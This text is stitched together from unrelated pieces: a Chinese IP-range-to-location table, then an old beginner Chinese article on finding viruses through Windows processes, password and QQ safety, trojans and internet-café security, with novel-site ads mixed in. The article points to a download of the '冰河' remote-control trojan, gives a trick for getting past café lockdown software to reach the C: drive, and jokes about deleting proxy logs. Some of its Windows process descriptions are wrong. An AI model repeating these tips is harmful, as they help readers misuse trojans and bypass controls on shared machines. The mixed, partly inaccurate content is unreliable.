210.045.208.000__210.045.223.255__安徽大学____
210.045.224.000__210.045.231.255__安徽____
210.045.232.000__210.045.233.255__中国计算机函授学院____
210.045.234.000__210.045.235.255__安徽合肥民办三联学院____
210.045.240.000__210.045.255.255__合肥工业大学____
210.046.000.000__210.046.007.255__牡丹江师范学院____
210.046.008.000__210.046.015.255__黑龙江矿业学院____
210.046.016.000__210.046.023.255__哈尔滨广播电视大学____
210.046.024.000__210.046.031.255__哈尔滨__齐齐哈尔____
210.046.032.000__210.046.039.255__黑龙江中医药大学____
210.046.040.000__210.046.047.255__黑龙江交通高等专科学校____
210.046.056.000__210.046.059.255__黑龙江广播电视大学____
210.046.064.000__210.046.079.255__哈尔滨建筑大学____
210.046.080.000__210.046.087.255__哈尔滨医科大学____
210.046.088.000__210.046.095.255__哈尔滨医科大学____
210.046.096.000__210.046.111.255__黑龙江大学____
210.046.112.000__210.046.127.255__黑龙江商学院____
210.046.128.000__210.046.135.255__大庆职工大学____
210.046.136.000__210.046.143.255__大庆石油学院____
210.046.144.000__210.046.151.255__大庆石油学院____
210.046.152.000__210.046.159.255__黑龙江东方学院____
210.046.168.000__210.046.171.255__黑龙江电化教育馆____
210.046.172.000__210.046.173.255__黑龙江省中实学校____
210.046.176.000__210.046.191.255__佳木斯大学____
210.046.192.000__210.046.199.255__黑龙江八一农垦大学____
210.046.208.000__210.046.211.255__哈尔滨工程高等专科学校____
210.037.176.000__210.037.177.255__海南琼海加积中学____
210.037.178.000__210.037.179.255__海南琼海加积二中____
210.037.180.000__210.037.181.255__海南琼海卫生学校____
210.037.184.000__210.037.185.255__海南琼海塔洋中学____
210.046.216.000__210.046.223.255__哈尔滨体育学院____
210.046.224.000__210.046.231.255__黑龙江____
210.046.232.000__210.046.239.255__哈尔滨大学____
210.046.240.000__210.046.243.255__呼兰师范专科学校____
210.046.244.000__210.046.247.255__绥化师范专科学校____
210.046.248.000__210.046.255.255__牡丹江医学院____
210.047.000.000__210.047.007.255__长春光学精密机械学院____
210.047.008.000__210.047.009.255__吉林____
210.047.048.000__210.047.055.255__吉林师范学院____
210.047.064.000__210.047.079.255__齐齐哈尔大学____
210.047.080.000__210.047.095.255__黑龙江____
210.047.096.000__210.047.097.255__哈尔滨市复华小学____
210.047.104.000__210.047.111.255__齐齐哈尔医学医院____
210.047.112.000__210.047.127.255__哈尔滨医科大学____
210.047.128.000__210.047.143.255__中国刑事警察学院____
210.047.144.000__210.047.159.255__辽宁____
210.047.160.000__210.047.175.255__沈阳农业大学____
210.047.176.000__210.047.191.255__锦州师范大学____
210.047.192.000__210.047.207.255__海军大连舰艇学院____
210.047.208.000__210.047.223.255__辽宁师范大学____
210.047.224.000__210.047.239.255__大连广播电视大学____
210.047.240.000__210.047.255.255__大连医科大学____
210.025.000.000__210.047.255.255__中国教育网____
210.048.000.000__210.055.255.255__新西兰____
210.056.000.000__210.056.031.255__巴基斯坦____
210.071.020.000__210.071.020.255__台湾____
210.059.000.000__210.071.255.255__台湾____
210.072.008.000__210.072.015.255__上海____
210.072.020.000__210.072.021.255__湖北____
210.072.032.000__210.072.043.255__北京____
210.072.044.000__210.072.044.255__湖北____
210.072.045.000__210.072.047.255__北京____
210.072.000.000__210.072.127.255__中国____
210.072.192.000__210.072.255.255__北京____
210.073.000.000__210.073.031.255__中国____
210.073.044.000__210.073.046.255__辽宁____
210.073.064.000__210.073.095.255__北京____
210.074.032.000__210.074.064.255__北京____
210.074.099.000__210.074.120.255__黑龙江____
210.074.122.000__210.074.122.255__广东____
210.074.123.000__210.074.123.255__重庆____
210.074.126.000__210.074.126.255__湖北____
210.074.148.000__210.074.148.255__广东____
210.074.160.000__210.074.191.255__北京____
210.074.224.000__210.074.255.255__上海____
210.075.032.000__210.075.063.255__广东____
210.076.000.000__210.076.031.255__河南____
210.076.032.000__210.076.063.255__黑龙江____
210.076.064.000__210.076.095.255__广东____
210.076.096.000__210.076.127.255__北京____
210.076.128.000__210.076.159.255__山东____
210.076.160.000__210.076.191.255__辽宁____
210.076.192.000__210.076.199.255__河北____
210.076.200.000__210.076.203.255__天津____
210.077.032.000__210.077.064.255__北京____
210.077.096.000__210.077.127.255__广东____
210.077.161.000__210.077.161.255__重庆____
210.077.169.000__210.077.169.255__重庆____
210.077.246.000__210.077.246.255__湖北____
210.077.253.000__210.077.253.255__陕西____
210.078.128.000__210.078.159.255__北京____
210.078.145.000__210.078.145.255__清华大学____
210.079.224.000__210.079.255.255__北京____
210.079.244.000__210.079.244.255__四川____
210.081.000.000__210.081.031.255__日本____
210.084.000.000__210.084.255.255__澳大利亚____
210.087.248.000__210.087.255.255__香港____
210.088.000.000__210.088.191.255__日本____
210.090.000.000__210.127.255.255__南朝鲜____
210.128.000.000__210.175.255.255__日本____
210.176.000.000__210.176.255.255__香港____
210.178.000.000__210.184.095.255__韩国____
210.188.000.000__210.191.255.255__日本____
210.192.000.000__210.192.255.255__台湾____
210.196.000.000__210.199.255.255__日本____
210.200.000.000__210.200.095.255__台湾____
210.204.000.000__210.207.255.255__南朝鲜____
210.208.189.000__210.208.189.255__台湾__高雄____
210.208.000.000__210.209.063.255__台湾____
210.212.000.000__210.212.255.255__印度____
210.216.000.000__210.223.255.255__南朝鲜____
210.224.000.000__210.239.255.255__日本____
210.240.000.000__210.247.255.255__台湾____
210.248.000.000__211.007.255.255__日本____
210.000.000.000__210.255.255.255__未知地区____
061.157.000.000__061.157.255.255__四川____
061.130.093.000__061.130.254.255__浙江____
061.131.000.000__061.131.127.255__福建____
061.131.128.000__061.131.255.255__江西____
061.132.000.000__061.132.127.255__江苏____
061.133.000.000__061.133.127.255__山东____
061.133.128.000__061.133.191.255__安徽____
061.133.192.000__061.133.223.255__宁夏____
061.133.224.000__061.133.255.255__青海____
061.134.000.000__061.134.063.255__陕西____
061.134.064.000__061.134.095.255__甘肃____
061.134.096.000__061.134.127.255__内蒙古____
061.134.128.000__061.134.191.255__河北____
061.134.192.000__061.134.255.255__山西____
061.135.000.000__061.135.255.255__北京____
061.136.000.000__061.136.063.255__天津____
061.136.064.000__061.136.127.255__河南____
061.136.141.000__061.136.141.255__湖北____
061.136.192.000__061.136.255.255__湖北____
061.137.000.000__061.137.127.255__湖南____
061.137.128.000__061.137.255.255__辽宁____
061.138.000.000__061.138.063.255__黑龙江____
061.138.128.000__061.138.191.255__吉林____
061.138.192.000__061.138.223.255__云南____
061.138.224.000__061.138.255.255__贵州____
061.139.000.000__061.139.127.255__四川____
061.139.128.000__061.139.191.255__海南____
061.139.192.000__061.139.255.255__广西____
061.140.000.000__061.143.255.255__广东____
061.147.008.000__061.147.242.255__江苏____
061.151.000.000__061.151.255.255__上海____
061.153.000.000__061.153.255.255__浙江____
061.154.000.000__061.154.255.255__福建____
061.155.000.000__061.155.255.255__江苏____
061.156.000.000__061.156.255.255__山东____
061.157.129.000__061.157.129.255__四川____
061.158.000.000__061.158.063.255__黑龙江____
061.158.128.000__061.158.194.255__河南______
061.159.000.000__061.159.255.255__甘肃____
061.162.000.000__061.162.255.255__山东____
061.163.003.000__061.163.003.255__河南____
061.008.000.000__061.008.031.255__澳大利亚____
061.128.096.000__061.128.127.255__新疆____
061.128.128.000__061.128.255.255__重庆____
061.129.000.000__061.129.255.255__上海____
061.130.000.000__061.130.255.255__浙江____
061.128.000.000__061.159.255.255__中国____
061.160.048.000__061.160.049.255__江苏____
061.164.058.000__061.164.058.255__浙江____
061.164.150.000__061.164.150.255__浙江____
061.164.176.000__061.164.176.255__浙江____
061.000.000.000__061.255.255.255__亚洲____
061.000.000.000__061.255.255.255__未知地区____
系统进程篇
系统进程篇.关于查毒.
一款好的防火墙并不能发现所有病毒;一个好的杀毒软件并不能歼灭所有的带毒程序!遇到这些情况我们该做何处理呢?很简单——手工杀毒。而要论到手工杀毒,就不能不提到系统进程的妙用了。
进程、病毒?
书上说:“进程为应用程序的运行实例,是应用程序的一次动态执行。”看似高深,我们可以简单地理解为:它是操作系统当前运行的执行程序。在系统当前运行的执行程序里包括:系统管理计算机个体和完成各种操作所必需的程序;用户开启、执行的额外程序,当然也包括用户不知道,而自动运行的非法程序(它们就有可能是病毒程序)。
危害较大的可执行病毒同样以“进程”形式出现在系统内部(一些病毒可能并不被进程列表显示,如“宏病毒”),那么及时查看并准确杀掉非法进程对于“手工杀毒有起着关键性的作用。
操作系统如何打开进程列表?
要通过进程列表查看系统是否染毒,必须打开当前的执行程序进程列表,Microsoft的每种系统都有相应的打开方法,但能够显示的能力却因(系统)不同,有所差异:
1. Windows 98 /Me系统
打开系统进程的方式很简单,快捷键“Ctrl+Alt+Delete”(如图1),这个窗口大家应该比较熟悉,使用Windows系统的用户都知道用这个方法来关闭程序,不过它同样用于显示系统进程,只是Windows 98系统较初级,对进程的显示局限于名称,且里面所显示的还有打开的文件及目录名,查看时易混淆。Windows Me的进程打开方式和Windows 98相同。
Windows 9x系统打开的进程列表混乱且不完全,显然不便于查看系统的具体进程状况,所以建议使用一些工具程序来为Windows 9x系统显示进程,如“Windows优化大师”,在“优化大师”的“系统安全优化”项内打开“进程管理”,在图2所示的“Windows 进程管理”窗口内,可以详细查看当前计算机所运行的所有进程,及具体程序所在的位置,这样更方便完成后面要介绍的如何利用进程进行查毒、杀毒。
2. Windows 2000/ XP/2003系统
Windows 2000、Windows XP、Windows 2003打开进程窗口的方式与Windows 9x系统相同,只是三键后打开的是“Windows 任务管理器”窗口,需要选择里面的“进程”项。Windows 2000系统只显示具体进程的全名,占用的内存量;Windows XP、Windows 2003系统相比Windows 2000会显示该进程归属于那个用户下,如操作系统所必须的基础程序,会在后面的“用户名”内显示为“SYSTEM”,由用户另外开启的程序则用户名为当前的系统登录用户名。
通过进程发现、处理病毒
在介绍具体的查毒和杀毒前,笔者先回答开篇提出的两个问题。为什么杀毒软件并不能全面的查找和杀掉病毒?首先,病毒防火墙是通过对程序进行反汇编,然后与自己的病毒库进行对比来查找病毒,如果病毒较新,而杀毒软件又未能及时升级便不能识别病毒。其次,杀毒软件在发现病毒后,如果是独立的可执行病毒程序,会选择直接删除的处理方式,而病毒如果被当作进程执行了,杀毒软件就无能为力了,因为它没有功能和权限先停止掉系统的这些进程,被当作进程执行的程序是不能被删除的(这也是大家在删除一个程序时,提示该程序正在被使用不能删除的原因)。所以在使用杀毒软件杀毒时,才会有杀毒完成后,又出现病毒提示的原因。
回到原来话题上!通过进程如何发现和杀掉病毒呢?由前面的知识介绍可知,Windows 9X和Windows 2000系统只能显示进程的名称,这对判断该进程是否是病毒还不够,如果要准确的断定病毒,最好使用前面介绍的“Windows优化大师”来查看进程程序的源路径,如果是“C:\windows\system”下的一些未知的“EXE”那便极有病毒的可能性了。Windows XP和Windows 2003系统,进程后会有“用户名”的显示,病毒是不可能获得“SYSTEM”权限的,所以应注意“用户名”是当前登录用户的进程,一旦发现是病毒,可以立即“杀掉”。这里介绍两个技巧:
1.发现可疑进程后,利用Windows的查找功能,查找该进程所在的具体路径,通过路径可以知道该进程是否合法,譬如由路径“C:\Program Files\3721\assistse.exe”知道该程序是3721的进程,是合法的。
2.在对进程是否病毒拿不定主意时,可以复制该进程的全名,如:“***.exe”到googl.com或baidu.com这样的全球搜查引擎上进行搜查,如果是病毒会有相关的介绍网页。
确定了该进程是病毒,首先应该杀掉该进程,对于Windows 9x系统,选中该进程后,点击下面的“结束任务”按钮,Windows 2000、Windows XP、Windows 2003系统则在进程上单击右键在弹出菜单上选择“结束任务”。“杀掉”进程后找到该进程的路径删除掉即可,完成后最好在进行一次杀毒,这样就万无一失了。
一次利用进程杀毒的具体过程是这样的:“通过进程名及路径判断是否病毒——杀掉进程——删除病毒程序”,为了让读者更好的判断进程,在这里补充一些Windows的进程资料给大家:
进程名 描述
smss.exe Session KManager
csrss.exe 子系统服务器进程
winlogon.exe 管理用户登录
services.exe 包含很多系统服务
lsass.exe 管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。
svchost.exe Windows 2000/XP 的文件保护系统
SPOOLSV.EXE 将文件加载到内存中以便迟后打印。
explorer.exe 资源管理器
internat.exe 托盘区的拼音图标
mstask.exe 允许程序在指定时间运行。
regsvc.exe 允许远程注册表操作。(系统服务)→remoteregister
tftpd.exe 实现 TFTP Internet 标准。该标准不要求用户名和密码。
llssrv.exe 证书记录服务
ntfrs.exe 在多个服务器间维护文件目录内容的文件同步。
RsSub.exe 控制用来远程储存数据的媒体。
locator.exe 管理 RPC 名称服务数据库。
clipsrv.exe 支持“剪贴簿查看器”,以便可以从远程剪贴簿查阅剪贴页面。
msdtc.exe 并列事务,是分布于两个以上的数据库,消息队列,文件系统或其他事务保护资源管理器。
grovel.exe 扫描零备份存储(SIS)卷上的重复文件,并且将重复文件指向一个数据存储点,以节省磁盘空间(只对 NTFS 文件系统有用)。
snmp.exe 包含代理程序可以监视网络设备的活动并且向网络控制台工作站汇报。
以上这些进程都是对计算机运行起至关重要的,千万不要随意“杀掉”,否则可能直接影响系统的正常运行。
最初级网络安全常识
先从这里说起,为什么我想大家都知道,不会保护自己怎么保护别人呢?
一:密码安全
无论你是申请邮箱还是玩网络游戏,都少不了要注册,这样你便会要填密码。大多数人都会填一些简单好记的数字或字母。还把自己的几个邮箱、几个QQ和网络游戏的密码都设成一样。在网上你有可能会因为需要而把密码告诉朋友,但若那位朋友的好奇心很强的话,他可能会用你给他的这个密码进入你的其他邮箱或QQ,你的网上秘密便成了他举手可得的资料了。因此建议,你最常用的那个邮箱密码设置一个不少于7位的有字母、数字和符号组成的没有规律的密码,并至少每月改一次。其他不常用的几个邮箱密码不要和主邮箱的密码设成一样,密码可以相对简单点,也可以相同。不过密码内容千万不要涉及自己的名字、生日、电话(很多密码字典都是根据这些资料做出来的)。其他的密码设置也是同样道理,最常用的那个密码要设置的和其他不同,免得被人“一路破”。
顺便提醒一下,不要把写有你密码的那本笔记本放在你认为安全的地方。
二:QQ安全
QQ即OICQ,是腾讯公司出品的网络即时聊天工具,现在的用户多的惊人!所以现在针对QQ的工具也十分之多。这里在提一下QQ的密码安全,你在申请完QQ后第一件事就是去腾讯公司的主页上的服务专区申请密码保护,这点很重要,但也很容易被忽略。
现在言归正转,说QQ的安全,在网上用QQ查IP地址(IP地址是一个32位二进制数,分为4个8位字节,是使用TCP/IP协议的网络中用于识别计算机和网络设备的唯一标识)的事情极为普遍。QQ查IP可以用专门的软件,也可以用防火墙或DOS命令,这里不详细说明。IP被查到后,不怀好意的人可以用各种各样的炸弹攻击你,虽然这些攻击对你的个人隐私没什么危害,但常常被人炸下线,这滋味一定不好。
解决办法有两种:
1.不要让陌生人或你不信任的人加入你的QQ(但这点很不实用,至少我这样认为)。
2.使用代理服务器(代理服务器英文全称Proxy Sever,其功能就是代理网络用户去取得网络信息,更确切地说,就是网络信息的中转站)。设置方法是点击QQ的菜单==>系统参数==>网络设置==>代理设置==>点击使用SOCKS5代理服务器,填上代理服务器地址和端口号,确定就好了,然后退出QQ,再登陆,这就搞定了。(代理服务器的地址可以到“古巴星云”或“代理猎手http://ipsky.3322.net”去找)
QQ密码的破解工具也很多,你只要把密码设的复杂点,一般不容易被破解。所以恶意攻击者可能会使用GOP木马,这是一款针对QQ密码的木马,具体我没用过,所以不在这里乱说。据了解,运行GOP木马后会弹出窗口说“恭喜你!你以中了大奖!请到本公司认领奖品!附带你的有关证件,切记!”。具体关于木马,我会在下下节说。
三:代理服务器安全
使用代理服务器后可以很有效的防止恶意攻击者对你的破坏。但是天下没有白吃的午餐,因为你再使用代理服务器后你的上网资料都会记录在代理服务起的日志中,要是那个网管想“关照”你一下的话,你是一点生还余地都没有的。(除非你进入代理服务器删了他的日志:P)
四:木马防范
木马,也称为后门,直截了当的说,木马有二个程序组成:一个是服务器程序,一个是控制器程序。当你的计算机运行了服务器后,恶意攻击者可以使用控制器程序进入如你的计算机,通过指挥服务器程序达到控制你的计算机的目的。千万不要小看木马,它可以所定你的鼠标、记录你的键盘按键、修改注册表、远程关机、重新启动等等功能。想知道木马的危害有多大的话,建议你去http://www.starkun.com下载一个“冰河”研究。这可是能让你一步成为纵横网络菜菜鸟中的极品工具,可不要因为“冰河”而学坏了呀~~
想不中木马,先要了解木马的传播途径:
1:邮件传播:木马很可能会被放在邮箱的附件里发给你。因此一般你不认识的人发来的带有附件的邮件,你最好不要下载运行,尤其是附件名为*.exe的。 (请看小说网|qinkan.net)
2:QQ传播:因为QQ有文件传输功能,所以现在也有很多木马通过QQ传播。恶意破坏者通常把木马服务器程序通过合并软件和其他的可执行文件绑在一起,然后骗你说是一个好玩的东东,你接受后运行的话,你就成了木马的牺牲品了。
3:下载传播:在一些个人网站下载软件时有可能会下载到绑有木马服务器的东东。所以建议要下载工具的话最好去比较知名的网站。
万一你不幸中了木马的话,立刻开启你的杀毒程序,接下来等着木马杀!杀!杀!(现在的杀毒程序能查杀大不份的木马)。另外手工清除木马的方法我就不说了,这涉及注册表知识,而且也没杀毒程序来得方便(我这样认为)。
五:病毒防杀
计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或程序代码。
从目前发现的病毒来看,计算机感染病毒后的主要症状有:
1:由于病毒程序把自己或操作系统的一部分用坏簇隐藏起来,磁盘坏簇莫名其妙地增多。
2:由于病毒程序附加在可执行程序头尾或插在中间,使可执行程序容量加大。
3:由于病毒程序把自己的某个特殊标志作为标签,使接触到的磁盘出现特别标签。
4:由于病毒程序本身或其复制品不断入侵占系统空间,使可用系统空间变小。
5:由于病毒程序的异常活动,造成异常的磁盘访问。
6:由于病毒程序附加或占用引导部分,使系统引导变慢。
7:丢失数据和程序。
8:中断向量发生变化。
9:打印出现问题。
10:死机现象增多。
11:生成不可见的表格文件或特定文件。
12:系统出现异常活动。
13:出现一些无意义的画面问候语等。
14:程序运行出现异常现象或不合理的结果。
15:磁盘卷标名发生变化。
16:系统不认识磁盘或硬盘,不能引导系统等。
17:在系统内装有汉字库正常的情况下不能调用汉字库或不能打印汉字。
18:在使用没有写保护的软件的软盘时屏幕上出现软盘写保护的提示。
19:异常要求用户输入口令。
你想尝试一下中病毒的滋味的话可去cn.yeah.net>http://badbocn.yeah.net下载病毒感染模拟器。
若你现在发生以上状况,千万不要迟疑,遵循以下步骤处理:
1:立刻关掉电源。
2:找“决对干净”的DOS系统磁盘启动计算机。这时,记得要关上这张磁盘个写保护。
3:用杀毒软件开始扫描病毒。
4:若侦测到是文件中毒时,则有三种方试处理:删除文件、重命名文件或是请除病毒。记住:千万不要对中毒文件置之不理,特别是不能让其停留在可执行文件中。
5:若侦测到的是硬盘分区或引导区的病毒时,则你可以用干净的DOS磁盘中的FDISK指令,执行FDISK/MBR命令,以恢复硬盘的引导信息;或是在A驱中执行A:/>SYS C:(C:为中毒磁盘),以救回硬盘引导区的资料。
6:现在,可以重新建文件、重新安装软件或 ,准备备份资料,请切记,备份资料在重新导入系统前,应先进行扫描,以防万一。
7:千万记住,重新建文档到开始运行之前。应再次扫描整个系统,以免中毒文件不小心又被存入系统中。
8:现在可以安心的开始操作计算机了。
注意:每周要记得更新一次病毒库。
六:网吧安全
这里的内容很简单,让你一看就懂。如果你在网吧上网时使用QQ,进过自己的邮箱(或其他需要你输入密码的地方)。那就请你在离开网吧是,到C:Program FilesTencent将自己的QQ号所在的文件夹删了。再到C:WINDOWSCookies把里面和你有关的内容都删了。接下来你就可以放心的走了,因为涉及你密码的资料以被你删了。
不过现在很多网吧都装有“美萍”这类安全软件,所以你无法直接访问本地C盘,所以建议在网吧不要使用QQ和进入需要密码的地方(更有些可恶的网管在网吧设置键盘记录)。如果你现在正坐在某网吧看这篇文章,还有QQ和朋友聊的热火朝天。那你可以在腾讯的浏览器的地址栏上键入C:,这样你就能访问C盘了。不过现在大多网吧的安全软件都升过级,这招不一定能用。本文主题不在这里,我就不多说了。 七:安全防黑工具
下载个天网防火墙个人版(http://www.sky.net.cn下载)和金山毒霸(各大网站均有下载)。这对个人用户以足够了。
更多精彩,更多好书,尽在请看小说网—http://www.qiyebooks.com